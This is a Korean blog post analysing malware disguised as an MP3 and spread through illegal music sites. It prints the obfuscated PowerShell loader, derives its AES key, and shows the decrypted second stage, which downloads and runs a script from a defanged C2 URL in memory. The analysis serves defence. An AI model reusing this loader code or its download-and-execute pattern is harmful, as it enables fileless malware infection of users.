오늘은 불법음원 MP3 파일로 유포되는 악성코드인 Gosisong_ada.mp3에 대해 알아보겠습니다. 불법음원 사이트에서 음악을 다운로드 해서 사용을 하는 이유는 간단할 것입니다. 돈이 없는 핑계 나는 합법적인 사이트를 이용하기 싫다. 앨범을 다 사자니 돈이 많이 든다. 일 것입니다. 물론 가장 돈이 문제이고 스트리밍 서비스를 이용을 하는 방법도 있지만 그래도 그냥 쉽게 스마트폰이나 컴퓨터에 저장을 해서 사용을 하기 위함일 것입니다.
ファイル名:Gosisong_ada.mp3
サイズ:8 MB
MD5:6ea3a7a4045eb2d55b20ff5dd4335231
SHA-1:522bb499fbd81aa41903b2adafec36bb071da244
SHA-256:4d533a5c7998f6c8f678cdceb7be2ce243078f4e4416d04ffa80a4909f1d916e
악성음원에 포함된 상세 정보를 보면 다음과 같은 정보들을 확인할 수가 있으며 URL 주소도 포함된 것을 확인할 수가 있습니다.

hxxp://www(.)jamendo(.)com
Strings 도구를 이용해서 개체 파일에서 ASII 문자열 또는 grep 로 볼 수가 없는 UNICODE를 할 수 있습니다.
아무튼, 해당 부분을 통해서 hta 파일을 추출하고 열어보면 다음과 같은 파일을 볼 수가 있습니다.
그리고 나서 var IJOOzM = 이라는 보일 것인데 이것을 한 번도 처리를 해주어야 합니다.

JavaScript 코드의 숫자 기반 난독화
분석

숫자 배열에서 각 값에 421을 빼서 String.fromCharCode 로 문자로 바꾸는 방식 난독화
그 결과 PowerShell 명령 문자열 이 생성되어 WScript(.)Shel(l).Run(...)으로 실행하게 돼 있습니다.
powershell.exe -w h -ep Unrestricted -nop 로 숨김 창 정책 우회 프로필 미적용으로 실행
System(.)Security(.)Cryptography(.)Aes 를 이용하는 함수, 루틴을 정의해 내장된(문자열) 페이로드를 AES 복호화하고
메모리 내에서 추가 코드 실행 형태 돕니다.
PowerShell 본문에서 키/IV, 암호화된 페이로드 를 추출해 2차 페이로드 까지 진행을 해야 합니다.

악성 PowerShell

powershell.exe -w h -ep Unrestricted -nop function djoI($bMcq){-split($bMcq -repl
ace '..', '0x$& ')};$jEoLV=djoI('CC????2F4E8815F641CA90DECFE8380D0458F3D712CD3C5E
529990C3C8968A4CFCE7B51A84F0E27B58BD84BFF53D08062C9A2D9832BE812489D16E0F78C3F091FE
AF3BA9803020DD9B763477E025EBF60EC2????CD312148352E898FB8CD1050516B328FAEB2927DFE8B
27D6F7A30C186820C0DBE02FEBFFB6414DB1B5FDAA1E5422968876928B4');$hiYZDaM=-join [char
[]](([Security.Cryptography.Aes]::Create()).CreateDecryptor((djoI('7075554B??47A43
524D6571765948')),[byte[]]::new(16)).TransformFinalBlock($jEoLV,0,$jEoLV.Length));
& $hiYZDaM.Substring(0,3) $hiYZDaM
.Substring(3)
악성코드 분석
PowerShell 은 AES 암호화된 2차 페이로드 를 복호화해서 실행.
1.전체 구조
옵션부터 보면
-w h->hidden 콘솔 창 숨김
-ep Unrestricted->실행정책 무시(제한 풀기)
-nop->NoProfile(사용자 프로필 스크립트 로드 안 함)
사용자 몰래 정책 우회해서 스크립트를 실행하려는 전형적인 악성 코드
2.djoI() 함수:HEX 문자열->바이트 배열
전달받은 문자열에서 정규식…. (두 글자씩)을 잡아서
0x$& 로 바꿈->CCEA...->0xCC 0xEA 0x74
-split 으로 공백 기준 나누기->0xCC,0xEA,0x74
PowerShell은 이런 식으로 0xCC 문자열을 정수로 알아서 캐스팅해줌
결과는 바이트 배열처럼 동작하는 숫자 배열*이 됨.
3.$jEoLV:암호화된 페이로드 (Ciphertext)
길게 이어진 그 거대한 HEX 은 AES로 암호화된 2차 페이로드
djoI()로 바이트 배열로 변환됨
즉 $jEoLV = 암호화된 셸 코드,스크립트,명령 문자열

4.AES 키와 복호화
AES 키
7075554B5A64747A43524D6571765948
HEX를 디코딩하면 문자열 키가 됨
직접 맵핑해보면
70=p, 75=u, 55=U, 4B=K, 5A=Z, 64=d, 74=t, 7A=z,
43=C, 52=R, 4D=M, 65=e, 71=q, 76=v, 59=Y, 48=H
즉 AES 키 = puUKZdtzCRMeqvYH"(16바이트, 128-bit key)
IV
길이 16인 바이트 배열을 new 만 했으니 전부 0x00
즉 IV = 16바이트 전부 0인 0x00..00
모드,패딩
Security.Cryptography.Aes]::Create() 기본 설정:
Mode = CBC
Padding = PKCS7
실제로는:
AES-CBC, 128-bit key "puUKZdtzCRMeqvYH", IV = 0x00…00, PKCS7 padding
이 되며 $jEoLV 를 복호화해서 평문 바이트를 확보할 수가 있음
문자열로 변환

[char[]]( ... ).TransformFinalBlock(...)->바이트 배열
-join [char[]] (...)->문자 배열 join → 문자열
$hiYZDaM = 복호화된 2차 PowerShell,명령 문자열 전체
5.마지막 동적으로 실행
$hiYZDaM.Substring(3)->나머지 전체
&는 PowerShell에서 동적 호출 연산자
만약 $hiYZDaM = "iex Invoke-Expression ..."이런 형태라면->iex (Invoke-Expression)를 명령으로 실행해서->나머지 문자열을 표현식으로 평가 & 실행
또는 cmd,pow,msi 등 다른 3글자 커맨드일 수도 있지만, 해당 패턴은 대부분 iex…로 사용이 되며
결국
복호화된 문자열의 앞 3글자를 실행할 명령 이름으로 나머지를 인자/스크립트로 넘겨 2차 페이로드를 동적 실행
6. 요약
대형 HEX 스트링을 바이트 배열로 변환
AES-CBC(키 "puUKZdtzCRMeqvYH", IV 0x00..00)로 복호화
결과를 문자열 $hiYZDaM 에 저장
복호화된 문자열의 앞 3글자를 명령 이름으로, 나머지를 인자로 실행
암호화된 2차 PowerShell,스크립트,명령을 메모리상에서 복호화 후 실행하는 전형적인 악성 코드
그러면 이걸 다시 AES 풀어야 함
복원화 하면 다음과 같은 결과를 확보 가능
iexStart-Process "$env:SystemRoot\SysWOW64\WindowsPowerShell\v1.0\powershell
(.)exe" -WindowStyle Hidden -ArgumentList '-NoProfile','-ExecutionPolicy','
Unrestricted','-Command','''YP''|%{SV YP ([PowerShell]::Create())}{$Null=$YP.
(($YP.PsObject.Methods|Where{$_.Name -like ''*ip*''}).Name)((([System.Net(.)W
ebClient]::New().DownloadString(''hxxps://perent1(.)ganderbrisklyonly(.)shop/
gnosis(.)mp3''))))}{$YP.Invoke()}{$YP(.)Dispose()}';$pocOZr = $env:AppData;fu
nction aKVJ($tcDp, $KAlPEv){curl $tcDp -o $KAlPEv};function yBPAKa(){function FWrJC
c($FgXVKCnyx){if(!(Test-Path -Path $KAlPEv)){
aKVJ $FgXVKCnyx $KAlPEv}}}yBPAKa;
PowerShell 분석
최종적으로 악성코드 다운로드 및 실행을 수행하는 로더
1.상위 PowerShell 실행->자기 자신을 숨겨서 재실행
PowerShell 프로세스를 숨김(Hidden)
명령줄 정책 우회:
-ExecutionPolicy Unrestricted
프로필 로드 하지 않음:-NoProfile
2. YP라는 변수에 새로운 PowerShell 실행 인스턴스를 생성
3.SV = Set-Variable
$YP = [PowerShell]::Create()->메모리 안에서만 동작하는 독립적인 PowerShell 런타임 객체 생성.
해당 객체는 스크립트를 메모리에 적재하고 실행하는 용도로 사용됨
우회 AddScript() 호출 — Fileless 로딩
$YP.(($YP.PsObject.Methods | Where { $_.Name -like '*ip*' }).Name)(...)
4. 공격자는 $YP.PsObject.Methods 에서 이름에 ip가 포함된 메서드를 자동으로 선택함
$YP 객체의 메서드 중 이름에 ip 가 포함된 첫 번째 메서드를 호출
메서드 대부분 AddScript 이지만 확정적으로 단정할 수는 없음
공격자의 의도는 스크립트 추가(AddScript) 이지만
조건 검색 방식으로 동작함
외부에서 받은 스크립트를 메모리에 삽입
5.가짜 .MP3 페이로드 다운로드<-이게 진짜 악성코드 그러나 사이트 폭파
hxxps://perent1(.)ganderbrisklyonly(.)shop/gnosis(.)mp3
에서 gnosis(.)mp3 파일 다운로드
.mp3 확장자는 위장일 뿐 해당 악성코드 확보를 하지 못해서 더는 진행 못 함
$YP. Invoke()->메모리 안에 로딩해둔 스크립트 실행
$YP.Dispose()->흔적 지우기
6. 하단부의 aKVJ, yBPAKa 함수 (미사용 헛갈리기 코드)
해당 부분은 현재 스니펫에서는 실제로 동작하지 않음.
$KAlPEv가 정의되어 있지 않고 FWrJCc()도 호출되지 않음.
7.최종 공격 흐름 요약
AES 복호화된 코드 ->메모리 런스페이스 생성->AddScript 우회 호출->URL에서 파일 다운로드
C2 주소
perent1(.)ganderbrisklyonly(.)shop
hxxps://perent1(.)ganderbrisklyonly(.)shop/gnosis(.)mp3
그리고 파이어폭스에서 접속 시 해당 사이트 경고 메시지 나오지 않지만, 마이크로소프트 엣지는 다음과 같이 Microsoft Defender SmartScreen 차단을 함
このサイトは安全ではないサイトとして報告されています
ホスト元: perent1.ganderbrisklyonly.shop
Microsoft では、このサイトの閲覧を続行しないことをお勧めします。このサイトには誤解を招くコンテンツが含まれており、個人情報や財務データ、場合によっては金銭を失う可能性があると Microsoft に報告されています。
戻る
詳しい情報
Microsoft Defender SmartScreen
결론: 불법 음원 여기서는 mp3 이지만 다른 음원 확장자로 유포할 수가 있으며 이런 악성코드에 당하기 싫으며 불법 사이트에서 음악을 다운로드 해서 음악을 듣는 것을 하지 말아야 하면 요즈음 CD에서 음원을 추출하지 않고 스티리밍 으로 듣겠지만, 음원 파일로 추출의 하고 싶은 경우 합법적인 CD에서 뽑아서 사용하면 됩니다. 어차피 DVD 재생기 또는 블루레이 재생기는 쿠팡 같은 곳에 팔고 있으니 해당 재생기르 통해서 음원을 추출하면 됩니다.
'소프트웨어 팁 > 보안 및 분석' 카테고리의 다른 글
| 마이크로소프트 제로데이 공격으로 악용된 윈도우 LNK 취약점 완화 (0) | 2025.12.05 |
|---|---|
| 김수키(Kimsuky) 세종 특별시 국세 고지서 로 위장 한 악성코드-국세고지서.zip (0) | 2025.12.03 |
| 개인정보 탈취를 목적으로 만들어진 Formbook(폼북) 악성코드-社会的要請 PUC250929.zip (0) | 2025.12.01 |
| 국세청 사칭 김수키(Kimsuky) 에서 만든 피싱 메일 20251121_197262 새로운 고지서가 도착 했어요.분석 (0) | 2025.11.28 |
| 김수키(Kimsuky) 이메일 로 유포 하는 악성코드-건강검진 안내서.alz (7) | 2025.11.24 |
| 북한 김수키(Kimsuky) 에서 만든 악성코드-KB국민은행 거래내역 제출 안내서.hwp.lnk (0) | 2025.11.21 |
| 김수키(Kimsuky) 웨딩사진 보정 업체를 통한 악성코드 공격-1740489988221-19.jse (0) | 2025.11.19 |
| 삼성 갤럭시 22 시리즈~갤럭시 24 시리즈 스마트폰 정보를 노리는 LANDFALL 스파이웨어 (0) | 2025.11.18 |





